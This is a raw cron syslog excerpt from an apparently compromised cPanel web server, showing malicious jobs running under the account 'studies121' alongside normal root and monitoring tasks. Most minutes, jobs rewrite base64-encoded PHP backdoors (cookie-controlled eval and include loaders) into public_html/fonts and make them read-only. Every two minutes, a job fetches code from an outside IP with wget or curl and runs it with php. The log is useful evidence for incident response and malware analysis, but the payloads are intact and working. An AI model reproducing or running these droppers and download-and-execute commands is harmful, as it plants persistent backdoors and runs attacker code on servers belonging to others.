Sep 22 13:19:01 ip-184-168-122-23 CROND[1803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:19:01 ip-184-168-122-23 CROND[1804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:19:01 ip-184-168-122-23 CROND[1805]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:20:01 ip-184-168-122-23 CROND[2652]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 13:20:01 ip-184-168-122-23 CROND[2656]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:20:01 ip-184-168-122-23 CROND[2658]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 13:20:01 ip-184-168-122-23 CROND[2657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:20:01 ip-184-168-122-23 CROND[2666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 13:20:01 ip-184-168-122-23 CROND[2664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:20:01 ip-184-168-122-23 CROND[2668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:20:01 ip-184-168-122-23 CROND[2667]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 13:20:01 ip-184-168-122-23 CROND[2665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:21:01 ip-184-168-122-23 CROND[3417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:21:01 ip-184-168-122-23 CROND[3418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:21:01 ip-184-168-122-23 CROND[3419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:21:01 ip-184-168-122-23 CROND[3423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:22:01 ip-184-168-122-23 CROND[4109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:22:01 ip-184-168-122-23 CROND[4112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:22:01 ip-184-168-122-23 CROND[4111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:22:01 ip-184-168-122-23 CROND[4115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:22:01 ip-184-168-122-23 CROND[4117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:23:01 ip-184-168-122-23 CROND[4822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:23:01 ip-184-168-122-23 CROND[4824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:23:01 ip-184-168-122-23 CROND[4825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:23:01 ip-184-168-122-23 CROND[4826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:24:01 ip-184-168-122-23 CROND[5788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:24:01 ip-184-168-122-23 CROND[5789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:24:01 ip-184-168-122-23 CROND[5792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:24:01 ip-184-168-122-23 CROND[5794]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:24:01 ip-184-168-122-23 CROND[5795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:25:01 ip-184-168-122-23 CROND[6501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:25:01 ip-184-168-122-23 CROND[6502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:25:01 ip-184-168-122-23 CROND[6504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:25:01 ip-184-168-122-23 CROND[6505]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 13:25:01 ip-184-168-122-23 CROND[6512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:25:01 ip-184-168-122-23 CROND[6510]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 13:26:01 ip-184-168-122-23 CROND[7267]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:26:01 ip-184-168-122-23 CROND[7268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:26:01 ip-184-168-122-23 CROND[7271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:26:01 ip-184-168-122-23 CROND[7272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:26:01 ip-184-168-122-23 CROND[7275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:27:01 ip-184-168-122-23 CROND[7794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:27:01 ip-184-168-122-23 CROND[7795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:27:01 ip-184-168-122-23 CROND[7798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:27:01 ip-184-168-122-23 CROND[7801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:28:01 ip-184-168-122-23 CROND[8187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:28:01 ip-184-168-122-23 CROND[8189]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:28:01 ip-184-168-122-23 CROND[8190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:28:01 ip-184-168-122-23 CROND[8192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:28:01 ip-184-168-122-23 CROND[8193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:29:02 ip-184-168-122-23 CROND[8619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:29:02 ip-184-168-122-23 CROND[8621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:29:02 ip-184-168-122-23 CROND[8622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:29:02 ip-184-168-122-23 CROND[8623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:30:01 ip-184-168-122-23 CROND[8996]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:30:01 ip-184-168-122-23 CROND[8998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 13:30:01 ip-184-168-122-23 CROND[9000]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 13:30:01 ip-184-168-122-23 CROND[9001]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 13:30:01 ip-184-168-122-23 CROND[9002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:30:01 ip-184-168-122-23 CROND[8999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:30:01 ip-184-168-122-23 CROND[9006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:30:01 ip-184-168-122-23 CROND[9003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:31:01 ip-184-168-122-23 CROND[9579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:31:01 ip-184-168-122-23 CROND[9580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
